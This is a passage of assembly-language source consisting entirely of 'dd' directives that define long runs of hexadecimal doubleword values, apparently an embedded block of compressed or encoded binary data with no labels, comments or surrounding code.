dd 0C93D0045h, 0DA4B5A1Ch, 57004D82h, 3C47E194h, 0CFDC21h
dd 44D88871h, 0EE39FEC7h, 1AE04A30h, 0C55E9h, 9348949Bh
dd 0B681D291h, 75393Eh, 0AA51F527h, 4F42EDh, 0E31224A6h
dd 0F687477Ch, 10939504h, 7C8014BFh, 740A25Ah, 0E802F49Dh
dd 0F5687791h, 0F856C0DBh, 0D31C25FEh, 28DF582Ah, 89F20380h
dd 2CE4542h, 5C261CC0h, 405D217Eh, 183CDC18h, 10352350h
dd 5F00C212h, 0A18FC32h, 60C48554h, 0D031C4D4h, 873C7E1Bh
dd 4DAF8190h, 0EE41058h, 121760E4h, 0BD90ABCh, 0B68F0882h
dd 3740EBA0h, 523FD655h, 344380A5h, 0FC570DDBh, 867F00A8h
dd 104512B5h, 0CC03FA91h, 0CA73B817h, 6BE000E2h, 1182DE4Ah
dd 55001F62h, 0A48A3E19h, 13399Fh, 0B2EBFB54h, 9CB8C26Ch
dd 81D40938h, 2978064Fh, 58619E11h, 0F3AFC8h, 0F7DC2074h
dd 4CFDE002h, 54112300h, 83D24222h, 0D44800C1h, 0C925A7F2h
dd 0E2021975h, 74A47F72h, 8EC7E0FBh, 71F70EB4h, 85E02CF0h
dd 0E387831Ch, 500002F2h, 0FA16E98Ah, 3F930BD1h, 851F8DC3h
dd 4B14032h, 0A83A1029h, 0A27D3Bh, 631277Eh, 3C432Bh, 530C63A1h
dd 5D93CA24h, 0E01F1FE4h, 0FE3BF8h, 0B2830F28h, 308D8Bh
dd 0E81E4053h, 6B3C1219h, 1876B3F6h, 4F07F400h, 8A05C283h
dd 5F3203F5h, 0FFFA9629h, 8625DFB0h, 6A0033FAh, 0F1450B0h
dd 189F87h, 6F22832Dh, 5940EFF7h, 0BC895407h, 0FAB04975h
dd 0D1C680h, 83740567h, 724FBA68h, 0F021D605h, 0F780753Bh
dd 488063h, 74182D7Bh, 0C69F3F3Ch, 8A424B00h, 0D241652Ah
dd 478100EFh, 17C5625h, 6800625Bh, 12F03918h, 1DBDDA1Ch
dd 0C07FC9A0h, 564767B6h, 6A4CFE15h, 340015Bh, 9EC75281h
dd 772F9CCCh, 0BE053E86h, 44CA5900h, 8475F8A7h, 0FC1C400Bh
dd 0DF3A0953h, 142B080h, 743CC23Bh, 226C000Ah, 0F4CF286Eh
dd 4DE9009Fh, 254013A9h, 743AE448h, 0F74A829Dh, 60553899h
dd 0EB75949h, 611DE1ABh, 51889A38h, 790B6603h, 0C88FC743h
dd 714A610h, 3758E1A5h, 0E4069159h, 8EBD4092h, 4D786599h
dd 0EA058DECh, 0B8E0A02Fh, 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h
dd 21E6AD71h, 0CB9A60CBh, 0DBC04D00h, 7C2FBADCh, 63760022h
dd 5D50EA53h, 691FC973h, 5B1FFC96h, 97B89880h, 1F86D71h
dd 679D18C2h, 0E0E22D24h, 7C7F1CD7h, 0ADD45C04h, 4980CDD8h
dd 74F45969h, 0A5270379h, 8867DD25h, 12D865ABh, 5513B2ECh
dd 20B8D0E5h, 1797EA00h, 0F8A53D23h, 15286728h, 0CCB3DF01h
dd 484666C4h, 2F55DCh, 99C76806h, 0AB6E1597h, 54B34B33h
dd 89DDD8CBh, 0A36800CFh, 0DA90E805h, 0B001E2Dh, 71D3A009h
dd 78F25274h, 12FEB4h, 0E15AE659h, 708EC6Bh, 0C71C6300h
dd 0BF0244F6h, 0C57284h, 0E28CB895h, 573FC9E4h, 13B07E00h
dd 1541FF4Dh, 7B3C0040h, 273B9591h, 7800CB69h, 7EFDDA92h
dd 90C916h, 0D302D088h, 49F3D69Dh, 18000574h, 955B1C36h
dd 24588496h, 28FFF01h, 4E1E2B2Eh, 0C1574740h, 2894200h
dd 598CF986h, 3FFCFAh, 78C89F0Ah, 9A4D1025h, 0FD45140h
dd 53B05297h, 4009EB60h, 3500DE2Ah, 8CEEF992h, 1F5888FDh
dd 43A63C24h, 2149B11h, 0D15298D0h, 8034F03Bh, 0B948A2FFh
dd 0FFC097Bh, 0E946DADCh, 4D000D3h, 0D840FD2h, 39EE0200h
dd 28ECC336h, 768390F6h, 0A350008Fh, 1466D4E2h, 3A00D845h
dd 0DB138D16h, 39A53EBh, 0BBD3FBACh, 7BE0B603h, 3C00E340h
dd 0AB866711h, 0E27D049h, 0CF467107h, 801DE800h, 4D7F0326h
dd 59C11700h, 62478CD5h, 3CD91DB6h, 58CE45D2h, 6F2A8066h
dd 103BBF86h, 233EAC45h, 4B074703h, 0B4C7E825h, 8230014h
dd 0A9A1F9CFh, 70F50212h, 2B2C1CBAh, 881D3706h, 1BAC2040h
dd 0E3D01h, 265A366Bh, 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h
dd 453055Dh, 0E1D79C4Ch, 333E818h, 0A4140800h, 0C415BB86h
dd 582BF01Dh, 5003835Dh, 78AD0364h, 0DEB014EBh, 0F1071EA8h
dd 1832825Eh, 0C04B050h, 4C9F05D3h, 80DE7E75h, 83E9D5BEh
dd 3A1D7B77h, 308F03C9h, 9D14020h, 14266Ah, 48A0AC52h
dd 2C82B718h, 663DFB98h, 8A98009Dh, 0C321C954h, 2B8E2699h
dd 71780158h, 0C4453561h, 0AD001238h, 14EB7F33h, 0B2C4396h
dd 2F847D18h, 90DDC980h, 324C826h, 3F17E3FBh, 0A1575A00h
dd 50CFFD2h, 83CD3B24h, 87D30023h, 0F210D455h, 127D600h
dd 0B018C0F1h, 24C4070Eh, 302814BDh, 40CB439h, 0B376871Dh
dd 0C884B900h, 17E902h, 0A2DD47E8h, 7E82F0BCh, 0B143A300h
dd 0F37D08E2h, 0FA3D0364h, 1EF2FF4Fh, 387FEDF8h, 81430400h
dd 0BFB31853h, 0BA0250A7h, 1EE2003Ch, 93843042h, 0D05C20F4h
dd 40DE0052h, 2C34E4A1h, 0BD8500F8h, 5938C843h, 7A000BFCh
dd 0C9535F84h, 2E8822h, 0B8C10104h, 4E603F10h, 3437BF1Fh
dd 0C7E50A03h, 6575C8FCh, 537D00FFh, 28521BC1h, 90011D45h
dd 74F685A5h, 55200F5Fh, 8B391ED1h, 0E5803AEEh, 0FDC44BAFh
dd 0F202A6FBh, 3E642C25h, 0E018425Ch, 68548Ch, 96F809A4h
dd 75FF9240h, 18492201h, 8E9BF12Fh, 4320C121h, 0C6B055h
dd 0F4C5E987h, 422B610Ah, 0E8408200h, 9A57A34Dh, 517D0332h
dd 0D444C960h, 0F77E88B0h, 3F509600h, 225BA38h, 0A786007Bh
dd 6C8331C1h, 0F000CD71h, 3624EB62h, 53FE04h, 0F7E88AFBh
dd 4B1E433Ah, 0A078756Fh, 8CE2FF03h, 11D507FBh, 0E0DE9421h
dd 7EF0E599h, 84233200h, 31D016A9h, 96544C9Eh, 4A210075h
dd 20622464h, 97EA433Ch, 18850400h, 0B2557329h, 486A02F3h
dd 2BF0F449h, 35C5CBE0h, 90A93700h, 93075DD3h, 2AE10010h
dd 5FEB5530h, 0BD008018h, 2FD73B3Eh, 0E30D72h, 730E1F3Dh
dd 2ACAC106h, 81FEBECh, 87C3F83Ah, 0E8E6E375h, 5E9F8Eh
dd 0DC102DC0h, 0F61CE881h, 16442200h, 0BC88EFC3h, 7B92004Fh
dd 84FE2D2Ah, 0E60F5053h, 0C04BAC4Dh, 29A1E0E8h, 89853F42h
dd 9CF58C81h, 0ECA83EF4h, 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh
dd 0EE4692Ch, 5427D2A5h, 89051360h, 12006BA4h, 3C9FFB5Bh
dd 1107053h, 88E22A11h, 0D9182134h, 4C0DD851h, 87493800h
dd 50A28C91h
dd 907515h, 8041FAD2h, 406AF633h, 30FFE21Dh, 902D7580h
dd 0F66070Bh, 5A4D3881h, 78832400h, 7400E03Ch, 82801E4Bh
dd 768F303h, 5615FC99h, 8108A023h, 4500503Eh, 27414C6h
dd 38F6B572h, 3CF069FCh, 24006AF0h, 0EB4EBB28h, 0FE744A5Dh
dd 1A83121Ch, 5F1F0240h, 90136574h, 72D9008Dh, 841464DBh
dd 0EB730C62h, 7839F602h, 6031B849h, 5021F8FCh, 79E7C53Fh
dd 34BA3E46h, 91005FD8h, 525AB774h, 0D5002367h, 8E037F86h
dd 5C16EB3Ch, 0DA00CB77h, 0C8D0D73h, 0D103DD33h, 7B84CF21h
dd 9C963B04h, 0E490E58Bh, 0C4C5700h, 0BE006C5Bh, 4EC426A3h
dd 265EA10h, 0D08FABBCh, 0AA406982h, 900F4916h, 770A120h
dd 6B77880Ah, 0C689AC90h, 31FC020Eh, 0CACF49C9h, 0B2C09740h
dd 0C87030FCh, 19E98800h, 0B6F28AF1h, 66182708h, 784BA077h
dd 89351209h, 440E0C34h, 0DA1C4275h, 9B803E80h, 0D2F75BD3h
dd 25D100E4h, 57AD089h, 0B928C8ECh, 4B00C4B7h, 72D54442h
dd 6B0EBh, 2ECBE1F3h, 16867799h, 0B4C30330h, 5F547Dh, 50B9B3A7h
dd 33135CEAh, 0AF530100h, 58AE9E35h, 28680FA0h, 5C60B55Fh
dd 50895294h, 59B18500h, 8A0BD123h, 0D8800002h, 0A126758h
dd 42F05F2Eh, 0F0754905h, 0B7ECA1B0h, 92BDC00h, 0F35D5AF9h
dd 79A55401h, 0E5957458h, 29FD7280h, 5BC85614h, 0D7FCD200h
dd 9857701Ah, 78402E4Ch, 6040729h, 0F44AF0A3h, 0BF00FE41h
dd 1D17BD82h, 0E6E3E80Bh, 2585002Dh, 0C65A4F78h, 733F61B2h
dd 1B770019h, 0AE933B3Ah, 591A2675h, 0BA8100DDh, 3021C2Fh
dd 86EFD81Dh, 54971100h, 3C3969Bh, 8A0A9BCh, 0D1D848EBh
dd 2A383988h, 16E6F91Bh, 52432D00h, 0E923BCC7h, 20B8F2h
dd 18583BBDh, 2F73820Fh, 4F93B200h, 22C43DAAh, 591004F0h
dd 8394E22Dh, 51B360E9h, 0D5B80CB0h, 0B9013100h, 0D75C2042h
dd 0B871E645h, 13F270B5h, 173EFE08h, 272F0039h, 0BAF7E07Eh
dd 893055FEh, 80093AF4h, 0B72009F1h, 0C58302F9h, 0FFE8B204h
dd 0CD9E567Ch, 6A513800h, 9A9C73h, 95880813h, 977CB85Ah
dd 0C5BBF400h, 1561EA0Ah, 0F1100003h, 4912510Dh, 0A4581D0Eh
dd 802C3F8Ah, 5E077562h, 0F8CA28h, 48EFE842h, 0A0E0FF96h
dd 65E4C800h, 0DFBCBA95h, 7C60000Bh, 44AE545Fh, 0AD7BE093h
dd 6972000h, 1A2643C6h, 4EB0001h, 7893DD0Dh, 540022CCh
dd 2C085011h, 1E6D799Fh, 4057F12Dh, 730989F0h, 4600C630h
dd 0F34E8DD6h, 0DE8CADh, 258B5967h, 0CBEFB91h, 5021C607h
dd 28F0B256h, 0FEADB5DDh, 76D0FB59h, 30D11E20h, 0D5C5876Bh
dd 751C5081h, 1EC339CFh, 80B1D62Bh, 0FD9B7Eh, 10E87349h
dd 1EBB92D4h, 6328100h, 8E004E4h, 0D81F00DCh, 0A8F355D3h
dd 0C4003121h, 0D6BDAEFBh, 9820A9Ah, 5FFE65CBh, 4F1A180h
dd 5802EA81h, 0B3542F78h, 2ADDE0C4h, 0F5C20216h, 5F2664A2h
dd 8A9360E0h, 831E4712h, 18446700h, 2E6689F7h, 30FC27Fh
dd 0A4504824h, 0C9F858E0h, 6205D00h, 75894EF0h, 0F64A05BCh
dd 0C0762CB4h, 0C7B3466Dh, 9D0F5000h, 1F2F2D82h, 5A901E55h
dd 0EA484097h, 0CE223746h, 750058F4h, 196577EEh, 514B011h
dd 3B398285h, 0B0AF8718h, 45807534h, 1AC5EC00h, 0EBE0176h
dd 0CA020061h, 0D9A4AF06h, 0FE730D13h, 0C7958600h, 0AD775304h
dd 5F8B00AEh, 0FB7D80C2h, 0CDEE88F0h, 2F008D7Bh, 0C715C663h
dd 0B86F110Dh, 0E4101201h, 0BCFA0282h, 7E609D2Ah, 0DA0333EAh
dd 7468C075h, 0C03FB331h, 35817A9h, 3E7995CEh, 1CE07567h
dd 0F35EE26Fh, 0DC00F5A8h, 5114F669h, 4800B7DFh, 268DD83Bh
dd 7A011A1h, 0AF07BA12h, 0D4F17174h, 7D85E454h, 5C38591Eh
dd 0CAF23F00h, 1E74032Dh, 8562CCD6h, 0C09118AAh, 645A0A94h
dd 3EC510Bh, 454500B5h, 1E05BAD4h, 5077D2Eh, 0FEAA81C4h
dd 0C0FD2FC2h, 0E3AE87h, 0CAB541Ch, 6238FE95h, 0A032D32Eh
dd 0FF22B400h, 0EE7384h, 0B0109C72h, 4BE7E968h, 8D2B60FBh
dd 91DD9500h, 8C2E63E1h, 931313F0h, 420F003Fh, 0A6B1EB70h
dd 0E7772200h, 0C75F4086h, 2C835C90h, 0C049F21Fh, 6A138C23h
dd 0B500F4EBh, 7385DB51h, 16BA0221h, 0CAB4F2h, 53222A75h
dd 0D800720Dh, 52C38A1Ah, 72865E01h, 0A76900E9h, 80D7B021h
dd 334CCD38h, 401100B1h, 742E120Ah, 94D80066h, 0E0F42201h
dd 1700FFFAh, 0C01D7525h, 0F467FE50h, 837713h, 0B2C9BF02h
dd 0B152535Ah, 8AB32100h, 80C1B75h, 64560797h, 0E0D3220Fh
dd 9E060DC9h, 5CE22B00h, 982D14E5h, 743300E9h, 4F9F6828h
dd 5EF6FB42h, 0AA195507h, 3FAF18CBh, 463264C1h, 29EC4B35h
dd 0F17B00ECh, 8BA1A490h, 82039F1Ah, 2717677Dh, 7F319177h
dd 2E7142F8h, 0A07BEh, 66A01D8Bh, 79003064h, 0F6035FF8h
dd 7AA1C6B8h, 5C97009Ch, 0D82E53A3h, 4D0B5BD0h, 0A94210h
dd 4A445A6Ch, 9BBA1DCDh, 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h
dd 0E01A57FCh, 293865h, 0D8DB3BA7h, 345D36E3h, 6C12A5EEh
dd 0BBF49Bh, 6A0FE00Eh, 0EBEC9D01h, 1A0A9900h, 0ABC48688h
dd 6753A29h, 0A1BD9000h, 0CAA73D68h, 0A8155D01h, 0B2BBFB92h
dd 0EAD7C0h, 994AD02Dh, 0A436A010h, 763E8800h, 7D540AFDh
dd 385F00BAh, 0B805D5E7h, 0EFA058CCh, 1CE2158Ch, 2CDF8900h
dd 0B50ED494h, 0B0930383h, 0F0B86D5Ah, 2B89EFB0h, 59F46A00h
dd 0E20E53F8h, 0EC480022h, 63C5035h, 0CE0FA63Dh, 0A0A11328h
dd 0A03EBC96h, 0FCA4001Ch, 60C40647h, 0F24C3468h, 7890326h
dd 0C0BBFD85h, 0BC5C58h, 0C275F803h, 0D35BC068h, 0DF29BF00h
dd 669CDC88h, 7CCF842h, 6C4617B6h, 0A034B021h, 64394C9Eh
dd 0EC62003Ch, 0D5F8101Fh, 27973A4Eh, 0F0F47AFFh, 48EE0Dh
dd 0EF38DB79h, 0E552EE19h, 8F02333Dh, 0E1644414h, 4CE36837h
dd 13AEDCCh, 54203D61h, 0F8430C7Fh, 8FA34B1h, 0C422B900h
dd 0B32BAB2Dh, 0BB580012h, 0D6154E25h, 1D7F943Bh, 49792AC0h
dd 72656B3Ah, 5E3C2466h, 36B401F3h, 302CD94Eh, 19074246h
dd 82EB9A90h, 2A230360h, 584507B6h, 0B301B7AAh, 1EE83724h
dd 62126A99h, 0B90136A7h, 4B03A045h, 4E52D0h, 7CF04C9Ah
dd 9ED4475h, 0A954F513h, 419ED900h, 1CCA56DCh, 0C01C4950h
dd 745F6547h, 0FCF161EDh, 7A037B64h, 20C37371h, 0BF69D852h
dd 78450091h, 66DDF663h, 4CFCA0D3h, 73007CFCh, 4518F99Dh
dd 0F0106D53h, 31880024h, 0C9028B62h, 3B00082Dh, 0DDD6F8E1h
dd 0AD8D79h, 28FCD489h, 9C3A7D72h, 572EEA00h, 86CA3E62h
dd 0C9113EF4h, 0EFE20683h, 26B05C78h, 5812753Dh, 9E008415h
dd 0C74A8B28h, 11E21E3Ah, 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h
dd 2071740Ah, 7D7E02h, 0F9EEE7E0h, 453DB664h, 0C42A0800h
dd 0CBC70D14h, 439E00D6h, 3F816605h, 0FD0025FFh, 26E83DD2h
dd 1C6CEFh, 1E389507h, 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh
dd 0EE3AE1B5h, 91670053h, 0C64E3E10h, 3F034F55h, 4B7AD2B1h
dd 0D875CBC9h, 0C3FA50h, 6F0032Ah, 26F3F85Bh, 80CE103Bh
dd 52E22C92h, 0A46DA7h, 0B3446BEFh, 0C308BB43h, 0CA535026h
dd 0F53B1700h, 0E68B828h, 0D2395411h, 89782B40h, 6A000AC8h
dd 0A7B052B2h, 7CA10974h, 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh
dd 9007D0Eh, 5478D68h, 0FE63ECE2h, 0D52C0378h, 0A06171Dh
dd 0C20146F0h, 6900E8ECh, 1505ED39h, 0FE388934h, 65C31FBDh
dd 6581E542h
dd 0E0A00E6Eh, 2B00DE8Bh, 81E41C5Dh, 714FBh, 646885BDh
dd 162F8629h, 8AEAAC00h, 0E455121Ch, 4A4800F7h, 278358E0h
dd 2B3B04EBh, 5F9E9F68h, 7D19F3C0h, 0F05497h, 0B4517F52h
dd 38783644h, 324638h, 33D08B56h, 0FEBF6h, 80068A7Dh, 5742FF9h
dd 5C5F0A00h, 42F29007h, 0F3A00D7h, 0ABD0EC09h, 0A6000354h
dd 0FCC34A5Eh, 7C75F7F0h, 17E51753h, 42470030h, 0B8A0D73Ah
dd 0DF822900h, 0FCE488D1h, 7E3700BEh, 95EB1C7Bh, 177892F7h
dd 0DA19A10Fh, 3CA900EDh, 0FD3E8Bh, 9A708845h, 0C94F943Ah
dd 1241520Eh, 0F4538024h, 284ADCh, 6389E2C1h, 3C7B8E5Dh
dd 3B7CE800h, 5C033A78h, 1D1C003Fh, 40F61304h, 5F0B148Fh
dd 34A5A5Bh, 0F16886E4h, 6520C13Bh, 0F0A61C8Ch, 209FBD8Eh
dd 0D9B5001Ch, 301BAD96h, 0BE95D500h, 4A4D8EBFh, 687F3F73h
dd 0C49D5100h, 45EB3E70h, 34A97D0Eh, 35C07EE4h, 2147D3BDh
dd 506F00E0h, 2F58107Ah, 93F8B702h, 0FEE96E05h, 0CB010FFFh
dd 0C231A26Ah, 0C0428820h, 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh
dd 0F8DC00BBh, 0BF94B054h, 5B0263D0h, 78DFE964h, 322861ACh
dd 1331803Bh, 0EFFC6C75h, 625C2300h, 0FDFB447Ah, 0BEE70361h
dd 0BB4EDF1Eh, 792C63F8h, 0F86D5E1Dh, 202ED980h, 0F72A6Bh
dd 4C7D62AEh, 7986E34Fh, 6DDCE03h, 0D8ACF63Ch, 641A53h
dd 0B38D702Eh, 14B67582h, 52509F07h, 0FBC15DCFh, 0B9EC4E78h
dd 0F88400F0h, 6BB453FEh, 74039714h, 0FABD0DA7h, 48C2F81Fh
dd 0E8830002h, 30B83AA2h, 202C264Bh, 0B501D512h, 762C4306h
dd 0F00A89D0h, 0EF6D099Bh, 0D88029FEh, 66C78B3Fh, 547E9AFCh
dd 0A9165Ch, 55FC4492h, 51930Fh, 0CF10B22h, 16F8678Bh
dd 0CFBE7503h, 0B0381ACEh, 0C0103Ah, 0FE124B1Ch, 74C9DD6h
dd 7D00ADB0h, 0CB51ACFCh, 972F10h, 4F022944h, 7E12A90Ch
dd 8F0B870Fh, 31F9802Dh, 1CE3543h, 9422274h, 0D9192436h
dd 0E910D137h, 1C85E83Ah, 83B8B73Eh, 8CEC7DC2h, 33C0EFA5h
dd 0EF57519h, 4D88982Bh, 8669680h, 553D4126h, 0EB3B9C4Bh
dd 39F98443h, 8AEA0715h, 70F8AB27h, 4B8296ACh, 4A337C00h
dd 0F2F5EB8h, 51760084h, 38F1DFABh, 413FAF98h, 2CB9C7h
dd 951DAC9Ch, 0E106097h, 5EFF483Bh, 8D1C3040h, 0DF7A0853h
dd 0C1E1500h, 0ABF656Eh, 4A4B00EBh, 42203911h, 0E526695Bh
dd 0C80001C9h, 0F32D91Bh, 79E005Ch, 830E731Eh, 8D3E0401h
dd 0B490F485h, 8074F83Fh, 0DC8265BEh, 0EDB71069h, 774BC0h
dd 155C81Eh, 0CBD52EC9h, 0A2F91600h, 64146E09h, 7507846h
dd 70965534h, 0C6B75160h, 3ED7F092h, 0FCFC73Fh, 61E9E0E5h
dd 6C79FE9Fh, 1FC5E2C4h, 0C0146A43h, 0E958C08Fh, 1CB82EF1h
dd 5C087D00h, 3F840ADh, 0B93500B4h, 0EF8B0689h, 0A5EE795Dh
dd 4B437000h, 460307C0h, 0C3E0048h, 0F02B0A33h, 0E800244Ch
dd 592556AFh, 12EB007h, 0C8471F8Ah, 0E44E4034h, 49004423h
dd 16051F2h, 71EBB1h, 37195E3Ah, 2A41775h, 50A08900h, 2ACAD555h
dd 7F230F40h, 0CF40D82Bh, 38C852EBh, 907C3903h, 0BF366425h
dd 1A296A80h, 185FE17h, 72F107A6h, 0D08E924Dh, 0EB007534h
dd 0D04AD58Bh, 20BA61h, 0E36E9E65h, 408D85E1h, 80CFAA00h
dd 423F3908h, 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh, 0C8D6ADB2h
dd 8A904E07h, 0C03EE6F0h, 82060050h, 12AEF392h, 0BFFE0156h
dd 30FB6C00h, 2F144184h, 4C453E06h, 0FA950072h, 0C3F43CE9h
dd 3A00EEDBh, 100821FCh, 75188A74h, 931C0205h, 9BE842BBh
dd 40F59061h, 59C474DFh, 13305F1Fh, 0F8E895DEh, 0D9008275h
dd 202ABF22h, 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h
dd 0F5407F82h, 7995ECB4h, 0FC21771h, 20860F76h, 9FAB7200h
dd 0DC5EE051h, 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h
dd 276EAED2h, 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h
dd 0FDBD11B9h, 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh
dd 0C7555Ah, 8870540Eh, 3C9EDF8Fh, 0FF72E300h, 5DADC815h
dd 0F9340031h, 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 0FC0C8BA9h
dd 5C490036h, 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h
dd 7222DCh, 0AF202414h, 0E8DBF93Bh, 468CF50Ah, 0DF05FE52h
dd 51C71021h, 74288D30h, 6C030337h, 0E365FDCEh, 22261993h
dd 52005D08h, 1666C4FFh, 42770004h, 0FD2AFBF8h, 111F32E3h
dd 24400846h, 0BF2B4822h, 708B0044h, 2CEB256Dh, 4E00A471h
dd 832019DFh, 79935145h, 0C0394B13h, 9216B691h, 60230400h
dd 0CF542846h, 6AC50059h, 57AD8083h, 9700E0B6h, 5FEB2CF9h
dd 117865h, 0BFE65AF1h, 0BB245818h, 7C8270BFh, 827C1CE8h
dd 2FC640A1h, 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh
dd 204C8h, 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h
dd 0EC680050h, 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh
dd 3785E9B1h, 0ED20CD6Ah, 0B551800h, 7A044908h, 5F2400D5h
dd 39076010h, 50008402h, 56404D11h, 1E0A4218h, 8069EB68h
dd 1032C765h, 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h
dd 57C1564h, 51E4B816h, 0FC30D205h, 90B0897Fh, 0ABE80041h
dd 59FFDE38h, 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h
dd 26513C92h, 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh
dd 1FF200Fh, 558DB13Dh, 80A54724h, 13FA8347h, 0BF089916h
dd 438CA500h, 110C648h, 0AD4A3063h, 0E8A8C40Eh, 0B2002A69h
dd 66771203h, 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h
dd 6C013Eh, 29BCC951h, 78910868h, 3C960014h, 850D2833h
dd 253E3DEDh, 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h
dd 0A5AF27CCh, 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h
dd 0F1AFECB7h, 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h
dd 808B8549h, 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h
dd 38913922h, 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h
dd 217E3B6Ch, 6580898h, 0E0001486h, 0A9298E0Bh, 3F407DDCh
dd 82804AEFh, 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h
dd 1DC7781Dh, 0C1E54043h, 7E8E0C08h, 94C5DE00h, 0BBB32927h
dd 5CB10F66h, 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h
dd 0E4C2B5A0h, 43480047h, 580E11DDh, 8005104Dh, 8DFCA54Bh
dd 0A2B380FBh, 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h
dd 74CBA8D9h, 575A0F00h, 0E8F64E0Eh, 7FED0024h, 5DC62CBCh
dd 0CF7D6D08h, 3DE2183Fh, 271F7EDBh, 444E8EFAh, 3B974014h
dd 1A1822h, 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h
dd 18320070h, 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h
dd 42A900F5h, 104759FBh, 0D20E4EC6h, 20761A3Ch, 85EA1465h
dd 0ADD63BABh, 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h
dd 7868CB77h, 0F5740F4Ch, 27A0B3EEh, 56247614h, 40E59D03h
dd 0B04ED74Bh, 734CC811h, 53C30042h, 49D82A21h, 770740DEh
dd 3EBC5193h, 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h
dd 81185740h, 1F1C0251h, 40084B04h, 0FA8B4507h, 14046B22h
dd 80E0F992h, 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h
dd 9166D8A8h, 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh
dd 0D57756A2h, 0A328E853h, 0EA43D00h, 0B0744301h, 0E3BF0092h
dd 90AD9344h, 840080F3h, 1B6E7821h, 72997E4h, 0D69C0979h
dd 421C8028h, 27038C3h, 9678732Eh, 6B1EDD00h, 201018h
dd 0EB7C74A7h, 0BE433D23h, 577622E8h, 84932700h, 0C697515Bh
dd 4C7200EFh, 0D2077844h, 0F800B303h, 384E31C4h, 0E9088D9Ch
dd 0EE4B54D8h, 0CA201FF3h, 0A0594169h, 4070211Ah, 326A9B05h
dd 6CA2E407h, 0ACB0A943h, 84258Ah, 5419A457h, 4D68809h
dd 0BA442039h, 7826DC5Ah, 85CCC00h, 97948C9Ch, 80960041h
dd 14819844h, 38000988h, 1C08119Ah, 467FE8h, 109BB802h
dd 29A27436h, 8F32093Eh, 0C7A6219Ah, 0F830C458h, 0E9006C3h
dd 0C605111h, 87B009A0h, 460410Eh, 7171860h, 0A13600E8h
dd 8C1B0C02h, 1A00DC10h, 21CCB408h, 0EAD40984h, 3A47519h
dd 201F4050h, 0D8F38088h, 23D0F0DFh, 1100A081h, 4022E34h
dd 0E82F7C22h, 5446004Ch, 9C49932h, 800516Ch, 22A4913Ch
dd 5C2074h, 942C4457h, 0F8116489h, 0BC026600h, 6239DC26h
dd 100900ACh, 52E00353h, 5A0E7933h, 0AF495931h, 90C0204h
dd 0F460C124h, 7B38A320h, 0A8086164h, 0D4204137h, 0B10ECCC6h
dd 66B8CB40h, 0E8C88D2h, 980870C8h, 11DC84E0h, 0CC1D1B48h
dd 873FD9E0h, 1059E744h, 21F96050h, 2A18001Ch, 0CC29ECA8h
dd 11315408h, 2B744824h, 0BE2330h, 75D17632h, 14EC6405h
dd 4AC7ACB8h, 2670023Fh, 7A6359ACh, 0A828007Ch, 0A7C43818h
dd 5B00F008h, 0F411C081h, 0A021B15Eh, 3026295h, 4C70253Ch
dd 0A8D1409Ch, 50437089h, 2007657Eh, 58488824h, 51766CF1h
dd 74A46C80h, 0AC12DC89h, 6DFC2212h, 20462C00h, 0C64B972h
dd 58755171h, 810AA3B8h, 0D5891744h, 0B8261D00h, 1E117CC6h
dd 9E43554Ah, 0DA440B4h, 4707E817h, 0E170280Eh, 6AC24225h
dd 0A787F7D0h, 0DD010ACCh, 1C32007Ch, 0EC08B13h, 1558408Dh
dd 0C6010013h, 31181F84h, 821000Ch, 32032480h, 52E048E6h
dd 746E7500h, 20656D69h, 0E27200E4h, 83DAE76Fh, 0EAFC6101h
dd 863B3000h, 18455140h, 80112DBFh, 80191B57h, 0B5413938h
dd 57805E5Ch, 0DEC0120h, 0A00A1D55h, 58C5C14Eh, 319C0C56h
dd 0F8AE31B8h, 1007D430h, 1FC1F927h, 0F3911C23h, 0E20AD81Eh
dd 1897001Dh, 7CF001ABh, 6C00A466h, 105AE433h, 0B70907ECh
dd 3896DEh, 6C05265Ch, 4C185B66h, 7C006F74h, 128C8984h
dd 9C092494h, 8791A448h, 0BCF3B475h, 0FBCCFBC4h, 0FBDCFBD4h
dd 0FBECFBE4h, 4FCF8F4h, 0C5C0140h, 1C121489h, 2C48C424h
dd 22349107h, 4C17443Ch, 0F81754F1h, 6CED64EDh, 0F67C6F70h
dd 8C120584h, 824A9424h, 0BC80E5BDh, 5390408h, 8E641C00h
dd 6A236547h, 5FA83E89h, 48605403h, 0C0F75808h, 6411610Ch
dd 0E2BCC803h, 0B0316214h, 46801Ch, 88E02363h, 38C46494h
dd 1FEC7200h, 306548E2h, 8C5E00F0h, 11660423h, 100D560h
